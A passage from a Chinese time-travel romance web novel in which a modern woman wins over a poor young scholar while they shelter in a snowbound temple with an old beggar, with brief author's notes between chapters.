左时珩下意识看向安声,后者朝他甜甜一笑,他睫翼颤了颤,蹲下身用水冲洗了下鱼身,将鱼放进沸腾的锅里。 老乞丐便笑:“小姑娘,我看这个穷书生不乐意,你长得漂亮,聪明能干,别在一棵树上吊死啊,你要是喜欢读书人,改明儿雪化了你到京城里去,要多少有多少,保不齐哪个就一下高中,保你半生荣华富贵了。” 安声原想说,她眼前这个就是状元,但又觉得这样说,显得她果真“别有用心”。 于是趁机深情款款地表白一番:“我就喜欢左时珩,此生只认定他一人,哪怕将来他蟾宫折桂,高中状元,官至二品,住大宅子,我们儿女双全,幸福得不了,我也愿意。” 庙中忽然寂静。 左时珩与老乞丐皆呆滞片刻,以为自己听错了。 ……这话对吗?—— 作者有话说:加更失败(滑跪)因为下午朋友喊我去恰了个火锅,我没抵住该死的诱惑[小丑]……明天一定补偿回来![求求你了][求求你了] 顺便祝大家大雪节气快乐[撒花] 第42章 日常 老乞丐向安声竖起大拇指:“好样的!” 又向左时珩指了指:“现在就看你了。” 左时珩:“……”默默擦了手,捧卷默读。 安声坐到他对面,注意添柴或加水,避免火势太大太小或者锅中的水烧干了,等鱼熟了,升起香味,老乞丐端碗过来舀时,安声一下接过,替他舀了一碗,向他俯身行礼,十分恭敬。 老乞丐纳罕:“吃条鱼这么大礼?” 安声笑道:“除此之外,还想跟您学怎么抓鱼,雪路难行,困于此处的几天,我想要左时珩每天都能吃到,补一补身体。” 左时珩神色微动,抬起头来,又垂眸落于书本,那字却有些看不懂了。 老乞丐咋舌:“我年轻时候怎么就没遇着这么个对我死心塌地的漂亮姑娘呢?不过,想抓鱼还不简单,小老儿还巴不得有人帮忙,你不怕冷,明天就带你抓去。” 安声高兴应了,请老乞丐接下鱼汤。 于是又盛了碗递给左时珩,舀了几块软烂的鱼肉进去,还特意挑了刺。 “杀鱼辛苦了,左大人。”安声笑眯眯的。 左时珩轻咳了声,神态自若,然握书的手已将书抓得有些变形。 “安声姑娘,我还不饿,你先吃吧。” “我不是什么官至二品的大人……”他脸又向另一边侧过去些,但耳朵红红的,已是破绽百出,“此次进京赶考,勉强凑齐了路费,连京城食宿都付不起,姑娘若跟着我,只怕吃苦受累。” “没关系,我愿意啊。”她不在意,只管眼前,“只有两个碗,你喝完我再喝。” 见他不动,安声便道:“左时珩,你喝不喝?不喝我就一直盯着你。” 左时珩耳朵的红晕蔓延到脸上。 他发现,他拿安声这样的性子是没有办法的。 于是他放下书,接过碗,几口喝完了。 “我去将碗清洁一番。”他起身欲逃似的,实在百般不自在。 安声拉住他衣袖:“没关系,这碗我先前用过,你刚才也没洗啊。” 见他表情窘迫无措,安声心里几乎要笑死了。 从未见过左时珩如此,果然还是年轻沉不住气。 不过若换了旁人,她绝不会死皮赖脸,但因是左时珩,故她也乐在其中。 但还是不能太过紧逼,张弛有度方是上策。 于是她拿回碗,说:“好了我不打扰你了,你好好看书。” 说到做到,她果然坐到对面去。 距离一拉开,左时珩松了口气,脸上的灼热却一时难以消退,心也跳得快。 他坐在那儿,垂眸看书,一时半会儿始终难读进去,哪怕已倒背如流了,却好像如阅天书,字字玄奥。 心不定,如坠云端雾里,飘忽不停。 他看见安声又盛了碗鱼汤,小小嘬了口,立即皱起眉,说好腥好难喝,老乞丐叫她不要浪费,倒进自己碗里喝了精光。 他看见安声闻一闻自己的手,满脸嫌弃,去门外抱了个雪块进来搓手,搓一会儿闻一下,直到手红起来,才勉强满意。 直到她跑去老乞丐那角落里背对着他坐着,与他嘀嘀咕咕交流什么,他听不清,也看不清,才慢慢回笼心神,专注书本起来。 …… 当安声意外发现老乞丐竟有一手精湛至极的木刻手艺后,惊叹之余,才恍然之前在左时珩书房中见的那些木雕是如何来的了。 她并未主动请求老乞丐教自己,但她一边看一边发自内心地赞叹不已,说他是大师,是艺术家。 没人是不喜欢被赞美的,何况安声又极为真诚,老乞丐很是喜欢听她说话,竟直接提出要收她为徒,让她将他这门手艺传承下去。 安声先是迟疑,担心自己学艺不精,但老乞丐却不在乎这个,他说,他不是为了传承什么技艺,只是为了让世上有个人能记得他。 “……正好你我有缘。” 安声当即向他磕了个头,响亮喊了声师父。 老乞丐先是微微一愣,有些发怔,片刻慢慢绽开一个笑,黑黝黝的脸上皱纹密布:“这多好,没想到我还有这么一天。” 他掀开装满棉絮、稻草以及木屑的被子,又挪开装满木屑的枕头,拿出一个压在下面的布袋,丢给安声。 “剩下的半袋小米,就当师父给你的见面礼了。” 喝汤岂能饱腹,入夜后,庙中便飘起了粥香。 老乞丐嘀咕:“妮子败家啊,刚给就煮上了。” 安声笑说,有福要早享,谁知道明天如何。 于是三人皆吃了两日来最快活的一顿。 庙里不能洗澡,安声烧了一点雪水,沾湿碎布,绕到神像后,解开那些乱七八糟裹在身上的旧衣,将身体凑合擦拭了一遍。 弄好后,老乞丐已吃饱喝足睡下了,左时珩也清洗了锅碗,亦用帕子净了面,借火光披衣独坐,静静看书。 安声抱着一堆皱皱的衣裳靠近,低声道歉:“左时珩,对不起,我把你的衣服弄成这样……” “无妨,事急从权。”他看过来,点头,将衣服接了,一件件抚平,叠好,放回书箱之中,然后又将那药膏拿给她。 安声娇小的身躯裹在宽大的棉服里,略显笨拙地将手从长长的袖子里抻出来,被火光一照,更显得红肿。 “左时珩,能不能麻烦你帮我上药?” 左时珩转头碰上她那双灼灼明亮的杏眼,忽而睫翼轻颤,垂下眸子轻应:“手,靠近点。” 安声费力撸起袖子,将一只手伸到他面前。 他没看她,打开药膏专心上药,先用指腹蘸了,再轻轻往伤处揉搓,两人之间除彼此的气息外,还流转着淡淡药香。 他低着头,安声在仔细看他。 墨写的眉,点漆的眼,纤长的睫,哪哪都好看,还有高挺的鼻梁,有血色的脸庞,以及虽有些干燥但不至于苍白的唇。 即便病未好全,也并非一副病容,一身病骨的十九岁的左时珩。 安声眼泪倏的掉落。 她想起初遇他那日,他也替自己手上药,那时他苍白孱弱,勉力支撑,哪怕后来养了许久,也比不上今日之康健。 何等痛苦,将他折磨至此。 直至今日,安声许多事后知后觉,方觉心疼尤甚。 左时珩不经意抬眸,撞见安声一双婆娑泪眼,忽而顿住,忙问:“是手疼吗?” 安声屈腿坐着,将脑袋埋在膝上,闷声:“嗯……” “好在你伤处未破,不至于形成冻疮,这药是有些刺痛,只能忍一忍了……好了,另一只手。” 安声埋头抬起右手,还裹在袖子里,袖口垂下,像唱戏的水袖。 左时珩笑了一笑,将袖子一点点挽起,直至露出女孩白皙柔嫩的手腕。 “安声姑娘,你不像出自一般人家,是否有什么难处,才不得不落到今日境遇?若我有什么能帮上忙的,定然倾尽全力。” 安声露出一双泛红的水雾弥漫的眼,颇有些惹人怜惜。 “我在这里,没有家人没有朋友,只认识你。” 左时珩上药的手停了停,摇头:“我甚是不解。” 安声抬起头,语气认真:“左时珩,我来自现代,那是另一个世界,你可以理解成仙女下凡,专门来找你的。” 老乞丐突兀插了句:“牛郎织女,我知道。” 左时珩:“……” 以为老乞丐已睡下了,没想到竟一直偷听,耳力未免也太好了。 安声还沾着潮气的眼弯了弯,溢出明亮笑意:“左时珩,你信吗?” 左时珩不知说什么,仙女下凡也好,狐妖报恩也罢,都太过荒诞不羁,他没法相信。 不过她既不想说实话,大约是有难言之隐,他便不再追问,给她上完了药,温声道:“早些休息吧。” 安声甩了甩袖子,整个人又缩回了他的棉衣里:“左时珩,你还要继续看书吗?” “嗯。” “那我睡在你旁边可以吗?这庙那么小,我总不能去挤我师父吧。” 左时珩蹙眉,略一沉吟,起身给她让地。 “你睡在此处,我靠墙坐一坐即可。” “不行,你这样还不如我去靠墙。你先前才说了事急从权,如今你我既不是独处一室,又并非一/丝/不/挂,何须避嫌至此?” 安声说罢,忽扬声问,“师父,我能跟你挤一挤吗?” 老乞丐:“当然不能。” 安声望向左时珩,眸底委屈:“你不是读书人吗?读书人不是君子吗?你是怕我对你做什么还是怕你对我做什么?你心中坦荡即可呀。” 左时珩哑口无言,慢慢又坐了回去,不过身躯紧绷,神情亦难从容,只好目光专注在字里行间,企图抛却那些纷乱思绪。 安声合衣在他身旁躺下,过了会儿,又爬起来看他。 左时珩不得不挪过眼来。 安声说:“左时珩,你现在这副表情很像是我逼良为娼。” 左时珩一噎,急促低咳起来,双颊通红。 安声笑出声,忙端了水与他:“我不说话了,你读书吧,小声念出来可以吗?我听着更好睡。” 左时珩饮了水,见安声果真背对着他侧躺,不再出声,他便将碗放回去,用手贴了贴面颊,疑心自己又烧起来。 重新坐好,深吸了口气,缓缓吐出,端正心神,不过片刻,还是忍不住瞥向他身旁这个女孩,她身躯娇小瘦弱,几乎淹没在自己的衣裳里,只露出小半张白皙泛红的脸,明媚温柔。 他忙收回目光,自觉近二十年来的奇事都在这两日发生全了,细细想来,不合逻辑地让人有些难以置信。 他摇了摇头,低声念起来书来。 无论如何,会试为重,其余不应多想。 夜深知雪重,时闻折竹声。 夜里北风停了,雪又下起来,簌簌作响。 老乞丐发出鼾声,已是睡熟,安声却蜷缩着睡不太安稳,不由翻了个身,又缩成一团,抱着自己。 左时珩放下书,怕她冷,便又添了两根柴,将火烧得旺了些。 过会儿,安声梦呓几声,嘀嘀咕咕听不清楚,他循声看来,只见她迷瞪瞪地钻出被子,朝他身旁挪了挪,抱住了他的小腿方才睡去。 左时珩一怔,虽隔着衣裳,但似有酥酥麻麻的触感从那处传遍全身,令他原先平静的心湖再泛涟漪。 夜已深,他低头看她片刻,确认她已睡熟了,才放下书,将她的手松开,被子盖好,自己便在被子外面合衣躺下。 雪夜,荒野,破庙,一时寂静。 许是白日睡了一觉,安声后半夜早早醒了,火光已熄,只有炭火余温。 窗外一片雪白,月色与雪相互映照,透过半扇窗牖而入,照得庙中冷冷清清。 她爬起来,发觉左时珩躺在身边已经睡着,不过被子只盖在她身上,不由心间一软。 虽不是安和九年的左时珩,却是一样妥帖温柔的性格,让人实难不爱。 她动作小心,将被子给他盖好,又摸了摸他额头和手,烧已退了,只是手有些凉。 安声伸手凑近火堆烤了烤,而后轻轻握上去,直到焐热了才罢。 已没了睡意,安声借着月光望着左时珩,看了许久,依然觉得看不够。 左时珩睡相很好,不乱动,不像她,能睡得毫无章法。同他在一起后,不是抱着他便是被他揽在怀里,否则她能从床头睡到床尾去。 此刻人就在眼前,她深觉失而复得不易,分明爱意入骨,却不能相爱相亲,更是愈发明白安和九年时,他心中多么酸涩。 但安声自认没有左时珩那般强大定力,当夜色模糊,黎明前夕,终是忍不住俯下身来低低唤他两声,见他毫无反应,果真睡熟,才放肆吻了吻他。 “我爱你左时珩……好爱好爱你啊……” 她小声表白,目光温柔似水,渐渐满足,待天边既白,才重新躺下,悄悄牵了他一片衣角。 不知多久,左时珩缓缓掀眸,万幸月已西移,庙中昏暗,掩去他眉间失态,眼底波澜- 安声不是个娇气的性子,虽然冷得不行,还是跟着老乞丐一早去抓鱼了。 昨夜新下的雪松松软软,她走了许久,睫毛头发上都挂了冰霜,才抵达那条上冻的小河边。 怪不得不从这里取水,原来这么远。 不过昨夜雪下得不大,今早已经晴,这会儿天空碧色如洗,阳光明媚,她心情也跟着晴朗,一路哼着小曲。 老乞丐笑道:“我入土的人了,活了一辈子没见过你这样的小姑娘,那后生有福啊。” 安声搓手呵气,笑道:“我也有福啊。” 在冻住的水面上敲一个洞,老乞丐用昨日剩的鱼内脏充当饵料打窝,引来食性相关的鱼类,然后眼疾手快地用木刺插上来,再用草绳系上鱼嘴,往安声脚下一扔,动作熟练至极。 “就这么简单,看明白了?” 安声信心满满:“明白了。” 然而看着简单,其实并不简单,冰面打滑,敲洞也很难,她吃不准冰层厚度,生怕自己掉下去,便不敢远离河边,但河边水浅鱼少,下了饵料效果也不太好,好不容易在寒风里受冻等到鱼来,她用木刺的准头和力道却又不够,忙活半天,最后是用双手捞上来的一条鱼,不仅湿了裤脚,袖口衣襟也都湿了,冻的脸发青。 见她受挫,老乞丐道:“你以为鱼是杂草随便捡的?能抓上来一条你就已经出师了。” 安声惊喜:“真的?” 老乞丐:“你又不是小孩,我还哄你作甚?” 于是安声重拾信心,拎着所有的鱼先原路回了。 一进门,她高兴道:“左时珩,快来看我们的战利品,好多鱼啊!” 左时珩大抵也刚回,闻言转身,手里还拎着只尾巴长长的野鸡。 四目相对,安声眨了眨眼,惊喜不已。 “哪来的?” 左时珩一碰触她目光,便有些不自在,清了清嗓子:“用了一点小米去林子里捉的。” “好厉害啊左时珩!” 安声毫不掩饰夸赞,眸子笑意更是清亮澄澈。 左时珩忽有些手忙脚乱,将鸡双脚捆了,从她手中接了鱼一并放下:“等会我来弄,你坐着……” 话未说完,注意到她颜色发深的衣摆袖口,便知她捉鱼时必然湿了水,寒冬腊月,不是小事,又见她面色又青又红,也顾不得其他,立时让她脱了棉衣,先在火旁烤干水再穿,又拉她在火堆旁坐下,用被子裹好。 然后用碗端了温水来:“手放进去浸一浸。” 安声犹豫:“这个是吃饭的碗。” 他说:“事急从权。” “噢——”安声照做,从被子里伸出一双红彤彤的手,叠放浸入水中,“好像没昨天那么肿了,你的药果然听你的。” 左时珩扯了下嘴角:“照你今日这般作弄它,我的药也要投降了。” “哈哈……”安声笑出声。 等她手指回温,他拿了帕子给她擦干水,不等她说,就自然而然给她上起药来。 “好了,在火边暖一暖,若是痒便忍住,别抓,知道吗?” “好的。” 左时珩看她一眼,见她满眼笑意,又移开眼,轻咳一声,红了耳朵:“若是脚也湿了,就脱了鞋和衣裳一起烤……我去处理那些荤腥。” 他快步走向了门外,深吸一口气,这样冷的天,他竟觉得太过燥热,以至于总是思维迟滞。 “干嘛呢?” 一道声音扯回了他的心神,他抬眸,见老乞丐正背了干柴回来。 左时珩镇定解释:“安声姑娘衣裳湿了,在里面烤火,我出来处理这些东西。” “我没问她啊。” 老乞丐往庙内走去,“啧,少年人啊。”- 安声嫌鱼太腥,实在吃不惯,所以左时珩捉的那只野鸡,就全进了她的肚子里,又是饱腹的一日。 当夜未再下雪,翌日天更晴了,庙檐上的雪开始滴滴答答的融化,不过还是一样的冷。 她闲来无事,随老乞丐刻了一整日的木雕,原是不忍推辞,圆他心愿,渐渐倒真觉出几分乐趣来,有些上头。 老乞丐会用木炭在一截削好的木头上画出大致形状,再依形状雕刻,他刻鸟刻鱼,羽鳞细如毛发,栩栩如生。 他说,他闲时刻着玩,待有空进城,就拿去卖,虽不值钱,也有人要,比乞讨的钱多些,卖了钱就换些米和肉来吃,或者再去磨一磨刻刀。 安声起先跟着他学简单的,后来便不再按部就班,满足于鸟啊鱼啊,她画功欠缺,难以细致到位,干脆另辟蹊径,去画卡通动物,毕竟简笔画她倒还是有些擅长的。 老乞丐头次见到她画的,有些不高兴:“这什么东西?怪里怪气。” 等她刻出来,他更不高兴:“丑的没眼看,浪费木料。” 安声也不气馁,沉浸在自己的艺术中不可自拔,不过她也知道自己的技术不到家,为了不浪费木料,她刻起了雪,用雪捏一个个紧实的圆柱,然后以刀雕琢出可爱风的小猫小狗,在庙门两侧的石阶上,摆了整整一排。 老乞丐背着手出门看,看得久了,慢慢接受了,自己也忍不住下手刻起来。 “这玩意儿看着还怪新奇,保不齐更好卖。” 安声深以为然。 她将刻的最满意的一只小猫和一只小狗放到左时珩面前,眼睛亮晶晶的。 “送你,喜欢吗?”—— 作者有话说:明天应该还会加更[饭饭] 第43章 两心 左时珩着眼于那一对木雕之上,饶有兴趣地拿起,左看右看,轻笑一声:“这是什么?” “显然,这是一只猫和一只狗。” “很显然吗?” 安声看了眼自己的作品,坚定道:“有点显然。” 左时珩怎么都没想到,这辈子能听到“有点”和“显然”这两个词连起来。 安声见状,拾起一根未烧完的木棍,在地上将原图画了一遍,简约卡通风,线条圆润明朗。 “现在又增加了点显然。” 这表述似将“显然”二字当作调料了似的,左时珩忍不住笑,便歪着头仔细欣赏半天,问她:“哪只是猫?” “这么显然了你还问,有胡子的是猫。” “狗也长胡子。” “狗虽然也长胡子,但这就是猫,猫,猫。” 安声瞪他,圆圆的杏眼格外明净。 左时珩虽从未见过这样的猫与狗,但二者放一块时,是能辨认的,但不知为何,莫名很想揶揄她,此刻见安声凑近瞪他,他忽然明白几分——她也有些像猫。 黏人,撒娇,娇蛮,也可爱。 心底冒出这个念头时,将他自己也吓了一跳,胸腔里一颗心忽然就擂鼓似的敲了起来,让他屏住呼吸,脸慢慢晕红。 于是再无法从容说话,立即捧起书掩住心虚,语速加快。 “安声姑娘,多谢你的礼物,我收下了。” 安声眨了眨眼,盯着他看了好一会儿,饶是她自以为很了解左时珩,也没弄明白,才说着话,他怎么忽然就脸红起来,甚至不敢直视她。 她刚刚分明什么情话也没说啊- 天一暖和,雪就化得很快。 次日一早,她推门出去一看,不由惊叫了声。 左时珩大步流星踏了出来,急问:“怎么了?” 安声抿着嘴,指了指庙墙沿下那两排水渍:“全化了……” 左时珩松了口气,莞尔:“冬天还早着呢,还会下雪的。” 老乞丐蓬头垢面地走出来:“堆什么雪,不务正业,今天把四块木料刻了,过会儿跟我去林子里捡柴去。” 安声点头,又问:“师父,鱼吃完了,今天还去抓吗?” 老乞丐打了个哈欠,又进去了:“河都化冻了,还抓什么,鱼又不笨。” 安声便问左时珩:“他是不是在暗示我们两人之间有一个人笨?” 与她对视片刻,左时珩无奈颔首:“好,是我。” “不错。”安声扬起嘴角,摆手也走了进去。 左时珩低头一笑,不禁觉得,他的日子似乎从未这般有意思过。 …… 自安声出现在此,他们一共在庙中待了七日。 之前左时珩与老乞丐共处时,两人甚少交流,不过是他借左时珩一处容身之所,遮风挡雪,左时珩替他作一份苦力,捡柴烧水。二人平静的如同上了冻的河面。 安声的出现是一块投入河面的石头,不但将冰层砸碎,还掀起一圈又一圈涟漪,使春日提前到来。 她的想法不同流俗,亦时时语出惊人,似乎总在打破左时珩的认知。 与她相处,左时珩常面红耳赤不知所措,也会藏不住笑,目光流连,甚至怦然心动而不自知。 但他最能确定的,是她对他始终不变的赤诚与柔情,自第一日始,就从未消减过。 左时珩偶尔会在睡前发呆,心想他大概是在做梦,否则这一切还是太不合常理了,怎会有一个貌美心善的姑娘忽然出现,坚定地对他说,她很爱他,要与他成婚,幸福一生呢。 他若是什么王公贵族倒也罢了,可他只是一介穷苦书生,十岁便父母双亡,孑然一身,到底有什么值得她如此。 他想不明白,亦觉受之有愧,不敢回应。 可他又唾弃自己虚伪至极,枉为君子,因那几个夜里,安声以为他熟睡而悄悄吻他,他分明清醒,却未将她推开,还要说服自己,他只是为了顾及安声姑娘的面子与清誉。 若是扪心自问,几分坦荡几分沉沦,他却已然分不清了。 这日阳光极好,安声站在庙前眺望云水山,山如银蛇蜿蜒起伏,十分漂亮。 现下她已知道了,若去京城,不必进山,从山坳小路穿过即可,早晨出发,傍晚前即可入城。 老乞丐攒了一堆木雕摆件,准备入城去卖,他东西不多,都是带着走,什么时候卖完了就回来,在这庙里过冬要比城里好,城里没柴烧来取暖,什么都要花钱。 安声也有些想去,但左时珩并无此打算,他的盘缠只剩一点,勉强能够在春闱前半月到京城去住,故而,即便简陋,也只能在此破庙将就。 但他分了一半银子给安声,与她道:“这些够找个客栈住几日,再加上你那些木雕换钱,大约足够在城内找个生计的,不必随我在此挨饿受冻。” 安声伸手笑:“那你全给我啊,一半怎么够。” 他皱了皱眉,从钱袋中拿了小块碎银,剩下的竟真全给了她。 “我留二两,进城后采买些笔墨纸砚。” 安声近前,歪着头盯着他瞧,看得他不自在了,才笑:“左时珩,你现在的表情好委屈啊,是不是在想,这个女人果然很坏,对我好都是假的,原来是为了我的钱。” 他急忙解释:“我并未这样想,我……” 他垂下眼睫:“我只是觉得,安声姑娘于我有救命之恩,我却连一月食宿的钱都报答不了,实在无地自容。” 安声托腮笑:“没有钱可以以身相许啊,正好我缺一个夫君。” 左时珩端坐俨然,闻言回:“安声姑娘若想托付终身,当另择人选,我一贫如洗,毫无娶妻打算,老先生说得对,如今城里已有不少全国各地前来赶考的举子,姑娘心善貌美,定有更好选择。” “左时珩,你劝我嫁给别人,你会后悔的。” 安声收了他的银子,同老乞丐说了几句,两人一道踏出了庙门。 左时珩起身向门外看,蔚蓝天空下,一老一少渐行渐远,很快被枯树杂草掩住,消失不见。 他重新坐下来,双手置于膝上,捏了捏拳,这般呆坐片刻,他忽然拿起书卷在额上拍了下,仰面倒在被子上长叹一声。 他好像,已经开始后悔了。 安声与老乞丐一早便走了,直到下午左时珩都未生火,冷锅冷灶,静静捧书独坐。 一片阳光从窗户照进来,暖洋洋的,在他身上勾勒了层漂亮的金色轮廓,他神色从容,着眼书本,却许久都不曾翻动一页,整个人如同一座雕塑,神游九天。 不知多久,他才似回过神来,将书本放下,转身拿起放在一旁的猫狗木雕,仿佛欣赏什么珍宝一般,在日光下仔仔细细地来回看,嘴角噙起和煦笑意。 “左时珩!” 安声骤然推门而入。 他迅速将木雕塞入袖中,转头望过去,震惊不已:“安声姑娘,你不是……” “你以为我真进城了?”安声晃了晃手里两条鲫鱼,笑道,“其实我去钓鱼了,我不是说过了,想要你每天都能喝鱼汤吗?说到做到啊。” 日光下,她笑容竟比春日更要明媚,左时珩愣了神,晃了眼。 “怎么没生火没烧水?”安声走近,促狭地笑,“看来我不在,你很失魂落魄啊。” “我只是……读书读得入神了。” “噢,那好吧,是我想多了。” 左时珩那少年气的脸上又漫上了红晕,睫翼也颤着,心思实难藏住。这在安声眼里几乎是无所遁形的,但她故意不去点破。 她一想到十年后的左时珩已是历练得那样一副从容沉稳腹黑的性子,将她吃得死死的,她就更珍惜如今他能被她吃的稚嫩。 她将东西放下,取了木屑火石过来。 “科考在即,努力读书是对的,你继续看吧,我来生火烧水,杀鱼煮粥,哦对了,我回来时还遇见了一个住在附近村里的大婶,同她聊了聊,她舍了我块姜,今天终于可以吃到不腥的鱼了。” 左时珩哪有半分心思读书,托辞也显得心虚,便起身说去杀鱼,但却在俯身拾鱼时,两个木雕“砰砰”两声从袖子里掉了下来。 他登时僵住—— 安声也愣了下,她很想说些什么,但忍不住笑,于是将头转向另一侧进行了番艰难的表情管理,才转过头,强装淡定。 “……咦?” 左时珩脸更红了,直红到白皙的脖颈处,整个人火烧似的,无所适从。 安声紧压嘴角弧度,赶紧过来捡走了:“我都忘了,这个还是先还我吧,你既不愿同我成婚,将来总要同别人成婚的,留着我的东西算是私相授受,总归不好,你说对吗?” 左时珩一言不发,眸色紊乱,拎着鱼出门去了。 切了姜片去腥,鱼汤总算可以入口,煮好后,安声勉强自己喝了一碗,感觉有些不太舒服。 她也未多想,只道是不合口味,有些反胃罢了。 但到了夜间,小腹处开始隐隐作痛,她淹没在左时珩那件宽宽大大的棉衣里,蜷缩作了一团。 起初左时珩没有注意到,后来听见她倒吸冷气,才紧张起来,问她怎么了,哪里不舒服。 安声扒拉下了领口,露出半张脸,问他:“可能是吃坏肚子了,左时珩,你有不舒服吗?” “我并没有。” “那就好,应该不是粥的问题。” 火光下,左时珩见她面色发白,额上渗着细密冷汗,心中一凛:“安声,安声?” 安声虚弱应了声,忽想到一个可能,忙将手往裙底探了探,伸出来一看,指尖果然沾了血。 她心中哀叹,觉得真是屋漏偏逢连夜雨,发生这么多事,竟把这茬忘了,算算日子,竟是月底了,准得也太可怕了。 左时珩一见她手上血迹,惊了一惊,忙俯身问她:“你受伤了?怎么弄的?是哪里受伤了?让我看看!” “没有受伤……”安声疼得说不出话,“让我……缓一缓。” 才十九岁的左时珩,根本不懂这些,在这样一个世界,她不知要怎么同他解释。 左时珩神情紧绷,跪坐在她身旁担忧候着,心乱如麻。 他自小生活困苦,不知经历了多少事,受了多少罪,自诩性子冷静,处变不惊,但遇见安声后,似乎再难从容,总要为她一字一句牵动心神。 这个女孩,纤弱娇小,竟天寒地冻地陪他缩在这个破旧漏风的庙里,吃了上顿没下顿,半句委屈不说,还照顾他,待他百般好,他便是铁石心肠,也早已融化了。 若她真是狐妖,他想,那他已入了她的囚笼。 “左时珩。” “嗯。” 正当思绪纷乱如云之时,安声低低唤他,他脑中所有纷乱便瞬间抛却九霄。 安声闷闷道:“我想喝点热水。” “好,我去烧。” 火光明亮,陶瓮中发出咕噜咕噜之声,水汽氤氲,安声裹着棉衣又盖着被子,只露出一双大大的眼望他。 感觉到她的视线,他便也看过来:“稍等一会儿,水马上烧好了。” 又问她:“还难受吗?好点了吗?” 不知是否受月事影响,安声情绪低落,有些矫情起来,于是转过头去。 “不是什么严重的事,我忍一忍就好了,反正每个女孩到了一定年纪,每个月都会这样的。” 左时珩一愣,慢慢明白她说的是什么,但他从前只听说过妇人会有月事,但对具体情况却半点不了解。 不过听她这样说了,也算是松了口气。 但如今她脸色很差,疼痛难忍,虽说得轻松,却也是真真实实的受罪,即便不是受伤生病,也并非小事。 他端了碗热水来,略一犹豫,将她扶起靠在怀里,轻轻吹了吹:“慢点喝,别烫到了。” 安声将一碗热水饮下,才觉腹中绞痛缓解了些,但她已没什么力气,双手用力捂住小腹,往左时珩怀中钻了钻。 感受到紧贴的这个胸膛蓦地一震,心跳如鼓,她恹恹道:“不喜欢的话,就把我推开吧,我自己不想动。” “……还是很疼吗?” “嗯。” “那,靠着我会好一点吗?”、 “嗯……” “那就靠着吧。” 一时安静下来,火光灼灼,两道人影映在墙上,亲密依偎,融为一体。 左时珩悄悄低头去看她,这个温软的女孩被他圈在怀里,紧捂小腹,不知疼还是冷,偶尔会有些发颤。 他眉峰紧蹙,眸底满是心疼怜惜,不知能为她做些什么。 安声忍了会儿,竟向他小声道歉:“你的棉衣应该被我弄脏了,染了血……我看见你的书箱里有针线,等我好一些,我就做个月经带。” “怎么做的?”他认真问,“需不需要我帮忙?” 安声怔了怔,忍不住抬头看他,跌入那双漂亮的眼,澄澈赤诚,充满担忧,没有半点令人不适的逾矩冒犯。 不知为何,她忽然有些委屈,一下红了眼,脑袋抵在他胸口,呜咽两声:“嗯……需要……” 她忽然这样撒娇,左时珩一愣,被她抵住的那颗心脏顷刻间不受控地化为一汪春水,漾动不止。 安声同他说了一遍,他便记住了,耳根虽已红透,却坐在火堆旁穿针引线,剪了自己一件旧棉衣认真做起来。 待缝好口袋,特意烧了干净的草木灰,用旧衣筛了遍,小心装入,确保不会洒出后,给她去换上。 安声绕去神像后处理完才出来,因棉衣脏了,便只穿着那身简单的蓝裙,她长发披散,肤若凝脂,眉眼精致温和,暖色一晕,发丝缕缕泛光,如同神女临凡。 这是左时珩第一次见到她“不同凡人”的一面。 他出神望着,蓦然有些信了她先前所言。 若是神女有相,当为她这般才对。 他一颗心愈发跳动得快,连佯装的从容都难以维系,目光怔然,几乎忘了呼吸。 冬夜的这个破庙,安声向他步步走近,到他身边时,伸手一下抱住他,柔声道:“左时珩,你真的特别特别好,我真的特别特别爱你。” 火光照不亮夜色,朦胧下,是一尊落满灰尘的菩萨像,正低眉垂目,寂静凝视于他。 左时珩说不清自己胸腔里奔涌的是一种什么感情,使他浑身经脉沸腾,毛孔舒张,再也克制不住,将这具娇软身躯温柔回拥在怀,在她后背安抚似的拍了拍。 他压住澎湃心潮,耐心说道:“安声姑娘,我既无金银,也无宅院,将来亦不一定能蟾宫折挂,高官厚禄,你随我生活,只怕过得艰难。” 安声用力抱紧他,笑道:“左时珩,相信我吧,即使什么都没有,我们也会儿女双全,幸福的不得了。” 左时珩哪里还受得住,不知怎么竟红了眼眶,将她更深地圈在怀里,摩挲着她的发。 “何以至此……” “因为你是左时珩,你也会待我很好很好。”—— 作者有话说:没加全,也算加更吧[小丑] 第44章 更近 “坐好。” “不要。” 左时珩无奈笑了下,只得自己调整了坐姿,腾出手来往火堆里又添了两根柴,然后拉过被子将只穿着单薄长裙的安声紧紧裹住。 “门外木桶里还剩些雪水,我去把棉衣上的血渍洗一洗。” 安声拉住他手,可怜巴巴:“左时珩,其实我裙子也脏了。” 左时珩表情静止了一瞬,低下头,从书箱里拿出一件旧衣给她:“先换上……裙子……拿给我一并洗了,在火上烘干。” 安声应了,就在被子下面脱起衣服来,左时珩面红耳赤立即背过去,但窸窸窣窣的声音却魔音般不断入耳。 他非圣人,而是个男人。 几乎要主动默背起文章,才能防止想象力的失控。 更别说,蓝裙下覆着的这具温香软玉一刻前才紧紧靠在自己怀里。 “左时珩,我换好了。”安声从被子里伸出手,拿着那件跟随她自现代而来的长裙。 左时珩没有回头,只是往后伸手接过去,声音略艰涩:“我……我去洗了。” 安声望着他的背影,低笑了声。 想到安和九年,她与左时珩时常亲密,彼此都对对方的身体着迷不已,但凡独处便要黏在一块,牵手,拥抱,亲吻……只怕是现在的他如何也不敢想的,或许觉得想一想也是玷污了她,或者辱没了圣人之言。 慢慢来吧,安声,她对自己说。 她对他做的这些事在这个时代的确是不被容许的,是有伤风化的,他们还不是夫妻,再进一步,则等于打破左时珩的礼教与底线,无异于私奔媾和。 但因为是左时珩,左时珩不会贬损她,所以她才如此妄为。 约小半时辰,左时珩再度进来,用树枝将棉衣撑起,湿的一角朝着火堆,那件蓝裙则被全洗了一遍,已经拧干,抖开后有些发皱,他用手压了压,同样挂好。 “左时珩。”安声从被子里冒出头来。 “怎么还没睡?”左时珩走过来坐下,“还喝水吗?” 安声摇头,伸出手将他双手握住,打了个寒噤。 这双手在冷水里泡这么久,冰冷极了,她坐起来,拉他靠近热源,搓一搓,呵气捂住。 “没事,我不冷。”他笑了下,将手抽出来,凑近火光搓了搓,果然很快热起来。 “那我有点冷。”安声主动将手伸过去。 他略一迟疑,也学着她方才那般,将她手握住搓了搓:“手还痒吗?” “已经好了,我就说你的药很听你的。” 他笑:“那要多谢你后来的配合。” 视线落于掌中,安声的手已完全消肿了,纤细白皙,如同盛放的白兰,又小小的,几乎能被他单手包住。 “左时珩。” “嗯?” “没有棉袍光盖着被子多冷啊,今晚我能挨着你睡吗?” 之前他们是被子横过来盖,离着八丈远,安声以前已习惯抱着他了,所以这几天总睡不好,到了后半夜早早就醒了,然后趁他熟睡悄悄亲他。 